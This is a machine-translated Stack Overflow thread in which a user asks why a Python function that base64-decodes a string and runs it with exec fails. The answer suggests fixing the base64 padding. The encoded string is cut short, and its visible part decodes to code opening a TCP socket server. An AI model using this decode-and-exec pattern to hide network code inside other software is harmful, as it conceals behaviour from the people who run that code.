-1

base64で暗号化された文字列を解読するpythonスクリプトを持っています。文字列が復号化されると、その内容が実行されるようにしようとしています。

def crypexec(jargon):
#push base64 through decryptor
 decipher = base64.b64decode(jargon)
#execute instructions in the encoded string
 exec decipher

ferret= unicode("""DQpzZXJ2ZXIgPSBzb2NrZXQuc29ja2V0KHC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJF..

それから私はそれを呼び戻そうとします

crypexec(ferret)

動作しません

これは、フェレットが暗号化されていないように見えるものです。もちろん、実行する前に暗号化されたスクリプトのインポート部分を削除しましたが、それでも機能しない理由を理解できません。

4

1 に答える 1

2

base64でエンコードされた文字列にパディングがありません...

文字列の最後に「=」を追加してみてください(おそらく3つまでの「=」記号)

それが機能しない場合は、標準の「=」とは異なるパディング記号を使用して暗号化した可能性があります....文字列をどのようにエンコードしましたか?

Pythonでエンコードしてみてくださいこの問題は解決するはずです

import base64
my_enc = base64.b64encode(""" 
def hello():
     print 'hello world!'
hello() """)

exec(base64.b64decode(my_enc))
于 2012-10-15T21:29:27.793 に答える